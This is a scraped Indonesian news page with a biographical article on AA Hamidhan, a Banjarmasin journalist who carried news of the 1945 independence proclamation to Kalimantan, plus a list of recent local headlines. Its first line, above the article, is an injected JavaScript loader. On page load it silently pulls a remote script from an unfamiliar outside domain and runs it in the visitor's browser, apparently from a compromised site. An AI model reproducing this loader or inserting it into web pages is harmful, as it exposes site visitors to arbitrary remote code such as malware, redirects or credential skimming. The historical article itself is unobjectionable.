(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

AA Hamidhan, Wartawan Kalsel Pembawa Kabar Kemerdekaan Bagi Masyarakat Kalimantan


Haji Anang Abdul Hamidhan (AA Hamidhan) adalah wartawan Kalimantan Selatan yang membawa kabar tentang kemerdekaan Indonesia ke Kalimantan pada 24 Agustus 1945 dengan menggunakan pesawat Jepang.

Bersama AA Rivai, pada tanggal 24 Agustus 1945 mereka datang dari Jawa untuk membawa berita kemerdekaan. Selanjutnya, Borneo Shimbun yang ada di Banjarmasin dan Kandangan juga ikut menyiarkan berita proklamasi tersebut. Termasuk menyiarkan UUD 1945, pengangkatan Pangeran Muhammad Noor sebagai Gubernur Kalimantan.

Hamidhan juga dipercaya sebagai pemimpin dari Kalimantan di Jawa agar mendirikan PNI, BKR, dan KNIP daerah Kalimantan. Pada tanggal 30 Oktober 1945, ia bertemu dengan Hasan Basry. Hasan Basry memintanya agar menyebarkan pamflet tentang kemerdekaan Indonesia di Amuntai. Sementara itu, Hasan Basry juga membuat perjuangan untuk mengumpulkan kekuatan di Kalimantan Selatan.

Hamidhan merupakan wakil dari Kalimantan dalam PPKI yang ditunjuk Jepang pada awal Agustus 1945. Sebelum pergi ke Jakarta, guna menyerap aspirasi warga, Hamidhan mengadakan rapat bersama tokoh-tokoh dari Banjarmasin dan Kandangan. Keesokan harinya, yakni 17 Agustus 1945, ia juga ikut menyaksikan pembacaan Proklamasi Kemerdekaan Indonesia yang dibacakan oleh Soekarno.

Pada tanggal 18 Agustus 1945, PPKI mengadakan rapat pertamanya. Di akhir rapat, Presiden Soekarno menunjuk 9 orang sebagai anggota Panitia Kecil yang ditugasi untuk menyusun rancangan yang berisi hal-hal yang sifatnya mendesak yaitu pembagian negara, kepolisian, tentara kebangsaan, dan perekonomian.

Keesokan harinya, pada dinihari 19 Agustus 1945, Otto Iskandardinata mengadakan rapat. Ia ditawari jabatan sebagai gubernur Kalimantan yang pertama, tapi ia menolaknya. Malah, ia menyerahkan jabatannya ke Pangeran Muhammad Noor. Saat itu, Pangeran Muhammad Noor berada di Pulau Jawa, yaitu Bandung.  Adapun, hasil yang diperoleh dari Panitia Kecil itu adalah Pangeran Muhammad Noor menjadi calon gubernur.

Hamidhan dilahirkan di Rantau, Tapin, 25 Februari 1909.  Menempuh pendidikan di Europeese Lagere School di Samarinda, kemudian melanjutkan ke Gemoontelijke MULO Avondshool di Batavia Genrum (Jakarta) karena politik etis Belanda yang pada saat itu membolehkan mereka yang bukan ningrat untuk melanjutkan pendidikan mereka. Saat itu jarang putra Kalimantan yang bukan keturunan ningrat dapat memasuki dunia pendidikan Eropa. Dengan kesadaran itu Hamidhan sangat menekuni pendidikannya di sana.

Sejak muda, ia mengabdikan dirinya untuk dunia pers. Hamidhan sebenarnya sudah berkecimpung di dunia jurnalistik sejak tahun 1927, ketika menjadi anggota redaksi surat kabar Perasaan Kita di Samarinda dan anggota redaksi Bintang Timur yang terbit di Jakarta.  Pada tahun 1929, pemimpin redaksi Bendahara Borneo, Soeara Kalimantan pada tahun 1930-an, Kalimantan Raya pada tahun 1942 dan Borneo Shimbun pada tahun 1945.

Soeara Kalimantan merupakan surat kabar pribumi pertama yang didirikan A.A. Hamidhan di Banjarmasin yang dia dirikan pada tanggal 23 Maret 1930.

Terlibat dalam dunia jurnalis, Hamidhan pernah merasakan tiga kali kena persdelict (delik pers) dan kemudian dipenjara. Dua bulan penjara di Cipinang, pada tahun 1930; enam minggu penjara di Banjarmasin, 1932 dan yang terakhir enam bulan di Banjarmasin, 1936.  Memang, pada saat itu, umumnya wartawan atau pemimpin redaksi rata-rata adalah anggota organisasi partai politik.

Pada tanggal 13 April 1938, ia mengikuti konferensi wartawan di Bandung, Jawa Barat.  Dia juga menulis dalam artikel Kalau Menghadapi Suatu Persdelict. “Dimasa itu, boleh dikata suatu surat kabar tanpa merasakan persdelict, bagaikan sayur tanpa garam, hambar,” ujarnya di artikel tersebut.

Langkah Anang Abdul Hamidhan yang memulai mendirikan surat kabar pribumi di Kalimantan, ternyata memberikan pengaruh cukup besar yang membuat munculnya koran atau makalah yang terbit di Borneo Selatan.  Terhitung ada 14 koran atau majalah yang muncul dalam kurun waktu 1930-1942.


Page: 1 2

Desy Arfianty

Recent Posts

Ungkap Kasus Curanmor di Banjarbaru, 4 Unit Motor Berplat Merah

7 Pelaku Ditangkap dengan Barbuk 21 Unit Sepeda Motor Read More

2 menit ago

Kontestan Kepala Daerah di Kalsel Ditantang Miliki Visi Majukan Perpustakaan

KANALKALIMANTAN.COM, BANJARMASIN - Tim Tenaga Ahli Gubernur Kalimantan Selatan (Kalsel) melakukan kunjungan ke Dinas Perpustakaan… Read More

2 jam ago

Instansi Vertikal Disiapkan Masuk SKPD Instansi Mengajar di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Pendidikan (Disdik) Kota Banjarbaru siap menggandeng instansi vertikal di Kota Banjarbaru,… Read More

3 jam ago

780 Anggota PPK se Kalsel Dilantik, Bertugas 8 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Seluruh Panitia Pemilihan Kecamatan (PPK) di Provinsi Kalimantan Selatan (Kalsel) resmi dilantik… Read More

3 jam ago

25 Anggota PPK Kota Banjarbaru Dilantik, Langsung Bekerja Membentuk Sekretariat

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru resmi melantik 25 orang anggota Panitia… Read More

6 jam ago

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

18 jam ago

This website uses cookies.